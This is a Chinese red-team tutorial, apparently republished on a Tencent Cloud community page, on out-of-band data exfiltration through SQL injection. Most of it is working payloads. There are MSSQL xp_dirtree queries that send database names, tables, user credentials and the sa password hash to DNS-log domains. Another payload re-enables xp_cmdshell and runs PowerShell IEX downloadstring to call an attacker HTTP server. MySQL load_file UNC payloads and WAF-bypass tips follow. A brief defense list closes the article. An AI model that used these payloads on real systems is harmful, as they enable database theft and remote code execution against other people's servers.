Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >技术分享|Dnslog与Http外带

技术分享|Dnslog与Http外带

作者头像
亿人安全
发布于 2022-06-30 08:14:53
发布于 2022-06-30 08:14:53
2.8K0
举报
文章被收录于专栏:红蓝对抗红蓝对抗

Dnslog与Http外带

Mssql_Dnslog外带

原理

DNSLOG解释

DNS: 域名解析IP , 用户在浏览器输入一个域名, 靠DNS服务解析域名的真实IP, 访问服务器上相应的服务

DNSLOG: DNS的日志, 存储在DNS 服务器上的域名信息, 记录着用户对域名的访问信息,类似日志文件

DNSLOG利用原理

DNSLOG 是解析日志, DNS分为三级域名, 域名不区分大小写, 所以利用解析的日志把攻击者需要的值带出, 称为数据外带,原理上只要能进行DNS请求的函数都可能存在DNSlog注入

DNSLOG利用场景

sql注入时, 存在盲注或者延时, 我们获得需要数据就会频繁请求, 最后导致IP 被Ban

sql注入时, 执行命令注入,但是目标站点什么也不显示,无法确定,就可以使用DNSLOG获取回显

函数:

master..xp_dirtree #存储程序, 用于获取所有文件夹的列表命令

exec master..xp_dirtree 'c:\windows';

xp_cmdshell #存储程序, 用于执行命令

DECLARE #创建变量

master.dbo.fn_varbintohexstr(CONVERT(varbinary,(******))) #转环

解释: sql server 中不能直接转十六进制, 需要转到二进制,在转到十六进制

利用xp_dirtree

函数构造

明确master..xp_dirtree如何拼接函数

exec master..xp_ditree '\\'+user_name()+'.三级DNS地址'--

\\ 表示windows下统一地址符号,用于连接

user_name() 表示当前数据库用户

三级DNS 拼接三级DNS地址将执行结果带出

由于mssql中外带不允许出现除去0-9a-z的其他特殊符号,我们需要对其进行赋予变量

DECLARE @a vaerchar(1000);

set @a='\\'+user_name()+'.三级DNS地址';

exec master..xp_dirtree @a;

解释: 创建 变量a, 为变量a 赋予值, 使用exec master..xp_dirtree 执行

对执行语句中的特殊符号进行编码

declare @a varchar(1000);

set @a='\\'%2buser_name()%2b'.三级DNS域名';

exec master..xp_dirtree @a;

payload

;DECLARE @a varchar(1000);Set @a='\\'%2buser_name()%2b'.dsr7p.f477ch.dnslog.cleverbao.pub';exec master..xp_dirtree @a;--'

处理不能接收特殊服务, 如+-/*等,那么我们就需要进行编码,因为Base64有+号,容易数据丢失,所以我们采用十六进制的方式获取数据

使用函数:(master.dbo.fn_varbintohexstr(CONVERT(varbinary,(******))))

构造payload如下:

;declare @a varchar(1000);

set @a = '\\'%2b(master.dbo.fn_varbintohexstr(CONVERT(varbinary,(@@version))))%2b'.三级dnslog'

;exec master..xp_dirtree @a--

由于varbinary()函数只能执行出32个位字符,无法显示全部,所以需要对查询内容进行截取

使用函数: substring('条件语句',开始,结束)

构造payload

;DECLARE @a varchar(1000);

;Set @a='\\'%2b(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((***********),1,15))))%2b'.三级dnslog'

;exec master..xp_dirtree @a;--

获取sa密码payload

;DECLARE @a varchar(1000);

;Set @a='\\'%2b(SELECT TOP 1 substring(master.dbo.fn_varbintohexstr(password_hash),1,60) FROM sys.sql_logins WHERE name='sa')%2b'.三级DNSlog'

;exec master..xp_dirtree @a;--

转码后payload

;DECLARE @a varchar(1000);

;Set @a='\\'%2b(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((构造条件),1,15))))%2b'.三级dnslog'

;exec master..xp_dirtree @a;--

获取库名

查询库名语法:select top 1name from master..sysdatabases where name not in(select top 1 name from master..sysdatabases)

payload

但是无法一次获取全部,需要进行字符串截取修改

;DECLARE @a varchar(1000);

Set @a='\\'%2b(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1name from master..sysdatabases where name not in(select top 1 name from master..sysdatabases)),1,15))))%2b'.h1b8q0.log.saltor.icu'

;exec master..xp_dirtree @a;--

获取表名

查询库名语法:select top 1table_name from information_sche.tables where table_name not (select top 1table_name from information_sche.tables)

数据带入查询:

payload

;DECLARE @a varchar(1000);

Set @a='\\'%2b(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1table_name from information_schema.tables where table_name not in (select top 1table_name from information_schema.tables)),1,15))))%2b'.h1b8q0.log.saltor.icu'

;exec master..xp_dirtree @a;--

获取字段名

查询库名语法:select top 1(column_name) from information_schema.columns where table_name=0x7573657273 andcolumn_namenot in(select top 1 column_name frominformation_schema.columnswhere table_name=0x7573657273')

构造payload

;DECLARE @a varchar(1000);

Set @a='\\'%2b(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1(column_name) from information_sche.columns where table_name=0x7573657273 andcolumn_namenot in(select top 1 column_name frominformation_schema.columnswhere table_name=0x7573657273')),1,15))))%2b'.h1b8q0.log.saltor.icu'

;exec master..xp_dirtree @a;--

获取数据

查询语法构造: select top 1 username,password from user where username not in(select top 1 username,password from user) and password not in(select top 1 password from users)

构造payload

;DECLARE @a varchar(1000);

Set @a='\\'%2b(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1 1,username,password from users where username not in (select top 1 username from users) and password not in(select top 1 password from users))),1,15))))%2b'.h1b8q0.log.saltor.icu'

;exec master..xp_dirtree @a;--

利用xp_cmdshell 外带数据

通过以上案例,我们知道了外带数据的构造,那么是否可以使用xp_cmdshell 外带数据呢?

尝试将payload换成xp_cmdshell外带数据:

;DECLARE @a varchar(1000);

Set @a='\\'%2b(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1table_name from information_schema.tables where table_name not in (select top 1table_name from information_schema.tables)),1,15))))%2b'.f7zye0.log.saltor.icu'

;exec master..xp_cmdshell @a;--

问题

报错: SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息

解决问题:

执行一下sql语句

exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;

之后可以执行xp_cmdshell外带数据了

mssql_http外带数据

我们知道通过dnslog 可以外带数据,那么http是否也可以

原理

dnslog 是因为攻击者执行了命令 让存在sql的目标机访问了攻击者定义好的dnslog, 那么同样的, 可以通过命令, 让存在sql注入的目标机访问 攻击者定义好的http端口 进行回弹数据

思考: 通过什么让的方式能够让目标器访问http?使用什么工具呢?

通过ping的方式, 让目标机访问攻击者构造的http,通过powershell 执行命令让目标机访问攻击者构造的IP

函数

DECLARE #定义变量

set #为变量赋值

master..xp_cmdshell #执行cmdshell

powershell iex(new-object net.webclient).downloadstring #使用powershell (新建 数组 新建webclinet).download以String形式下载请求的资源

构造

payload

;DECLARE @okma VARCHAR(8000);

SET@okma=(SELECT TOP 1 substring(@@version,1,35));

exec('master..xp_cmdshell"powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.187:9008/?data='%2b@okma%2b''')"' ) --

在语法中 @okma 的payload 是可变的

mysql_dnslog外带

原理

因为windows特性可以认为的主动发送请求,所以造成了mysql在windows下注入外带

通过查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。

利用场景

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。

对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。

所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

利用条件

服务器必须能正常访问联网

mysql的配置文件secure_file_priv=""

读取文件并返回文件内容为字符串。

要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

函数

和之前的mysql 查询语句一样

load_file()

利用

简单的构造:

select load_file('\\\\dnslog.domain.com')

构造payload

load_file(concat('\\\\', version(),'.dnslog.domain.com'))-- a

构造查询语句payload

为避免数据都是需要使用十六进制, 由于url 有字符长度限制64,需要使用到截断方法

and load_file(concat('\\\\', mid(hex(user()),1,60), '.dnslog.domain.com')) -- a

转码后的payload

and load_file(concat(0x5C5C5C5C, mid(hex((*************)),1,60), 0x2E646E736C6F672E646F6D61696E2E636F6D))--a

搭建mysql外带环境

在phpstudy的mysql配置文件my.ini 添加 secure-file-priv=""

-记争本

编辑(E)格式(O)

帮助(H)

查看(V)

文件(月)

INNODB FLUSH LOG AT TRX COMMIT-1

INNODB LOCK WAIT TIMEOUT120

INNODBLOGBUFFERSIZE4M

INNODB LOG FILE SIZE256M

INTERACTIVETIMEOUT120

JOIN BUFFER SIZE2M

KEY BUFFER SIZE32M

LOG.ERRORVERBOSITY1

MAX ALLOWED PACKET16M

MAX HEAP TABLE SIZE64M

MYISAM MAX SORT FILE SIZE64G

MYISAM SORT BUFFER SIZE-32M

READ BUFFER SIZE512KB

READ RND BUFFER SIZE4M

SERVERID1

SKIP-EXTERNAL-LOCKINGON

SORT BUFFER SIZE256KB

TABLE OPEN CACHE256

THREAD CACHE SIZE 16

TMP TABLE SIZE64M

WAIT TIMEOUT120

SECURE-FILE-PRIV

[CLIENT]

PORT3306

DEFAULT-CHARACTER-SETUTF8

DNS注入绕过WAF

思路:

各种编码绕过

字母大小写转换让偶共

空格过滤绕过

双关键字绕过

内联注释绕过

采用大佬文章:https://juejin.cn/post/7013334787133964318

总结:

DNS和http外带注入的满足条件都是需要服务器能够联网

DNS和HTTP外带注入一定要使用十六进制编码防止数据丢失

外带数据注入不只可以外带注入,如果在权限足够的情况下,文件也可以

外带数据常用于延时和盲注,方便读取,不会对服务器发送频繁请求,避免过多的流量请求

防御

使用权限划分,

启用WAF 和防火墙等机制

对用户的传参进行严格的过滤

添加白名单与黑名单

转义所有用户提供的输入

思考

什么条件下会使用到外搭数据的攻击

外带数据在什么攻击方式还会利用到?

XXE进阶--OOB攻击

原文地址:

https://www.yuque.com/docs/share/01b36f13-c8e4-4898-bc48-41ccf65daf4b?

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-06-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Dnslog与Http外带
DNS: 域名解析IP , 用户在浏览器输入一个域名, 靠DNS服务解析域名的真实IP, 访问服务器上相应的服务
亿人安全
2022/06/02
1.5K0
数据库DNSLog外带注入-总结
当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等将数据带出。
Gamma实验室
2020/12/23
3.9K0
数据库DNSLog外带注入-总结
SQL Server从0到1
2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service
红队蓝军
2022/05/17
2.3K0
SQL Server从0到1
学习mssql从0到1
2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service
红队蓝军
2022/03/10
1.3K0
学习mssql从0到1
干货 | MSSQL 注入攻击与防御
本文所用数据库涉及SQL Server 2k5,2k8,2k12,其次对于绕过姿势和前文并无太大差别,就不做过多的讲解,主要放在后面的提权上
HACK学习
2019/08/06
1.8K0
干货 | MSSQL 注入攻击与防御
注入常用SQL语句整理
很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句.
XRSec
2022/02/13
2.5K0
SQL注入语句和方法总结
前提需要工具(SQL Query Analyzer和SqlExec Sunx Version)
沙漠尽头的狼
2021/12/01
1.1K0
sql注入技术大总结
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 从所有的表里边找到这个库名里不重复的表名
黑战士
2024/04/13
3080
OOB(out of band)分析系列之DNS渗漏
前言 SQL注入作为最老的漏洞之一,它的价值随着整个web的发展从来没有过时,足以证明它的地位和价值。 我和很多人聊过这个漏洞,发现很多人对这个漏洞的了解只是拿sqlmap干,好一点的还会手注,懂原理。 但是它们本身只了解到了这个漏洞的实战效果和实战需要等等,并没有深入了解这个漏洞。但是这个漏洞本身基于数据库,而数据库是很灵活的,就会发展出很多邪道。笔者最近看了很多关于sql注入的文章,发现国外已经玩出玫瑰花来了,就打算写个系列总结一下。 这篇文章的面向对象不是新手,起码你要会sql的手注,知道sql注入的
FB客服
2018/02/28
1.8K0
一个有趣的东西-cloudeye
最近遇到了一个挺好玩的东西,应该是前段时间突然火起来cloudeye,在wooyun上有卖激活码,不过找到了一个免费版的还不错…
LoRexxar
2023/02/21
3610
一个有趣的东西-cloudeye
数据库的一些注入技巧-sqlserver
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password ='';
Jumbo
2019/11/05
6930
注入学习1:SQL注入语句大全
之前做了xss预防,以及些许的注入预防了,但是不够全面,如果还是搜集了下一些常用的注入手段,以此用来进行更好的预防.
@坤的
2018/09/21
4.6K0
SQL 注入语句特征
语句特征 1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表 3.猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个 and 0<(select count(*) from admin) and 1<
赵腰静
2018/03/09
2.1K0
干货 | MSSQL注入和漏洞利用姿势总结
Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络(包括 Internet)上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433。
HACK学习
2023/01/03
7.2K0
干货 | MSSQL注入和漏洞利用姿势总结
实战 | 记一次利用mssql上线
漏洞挖掘 在一次渗透测试过程中,对主站进行漏洞挖掘无果后,对子站进行挖掘。在子站发现mssql注入漏洞 Getshell
F12sec
2022/09/29
5840
实战 | 记一次利用mssql上线
Mssql高级注入笔记
暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
赵腰静
2018/03/09
1.6K0
SQL 基础学习参考资料分享
信安之路的小白成长阶段目前处于 SQL 的基础学习阶段,在每一个学习阶段都会分享一些参考资料给大家,即使大家未能成为学习的主力,但是也希望更多想要参与学习的同学跟着这个学习计划一直前行,详细情况请看公众号菜单中间一栏的成长计划。
信安之路
2019/08/15
1.1K0
SQL注入攻防入门详解
毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。 (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文) 下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。 示例程序下载:
前朝楚水
2018/04/03
2.5K0
SQL注入攻防入门详解
经验分享 | mssql注入实战总结之狠快准绕
—-ctf.show
F12sec
2022/09/29
1.7K0
经验分享 | mssql注入实战总结之狠快准绕
SQL注入详解
SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。
飞天小子
2018/08/31
2.8K0
SQL注入详解
相关推荐
Dnslog与Http外带
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档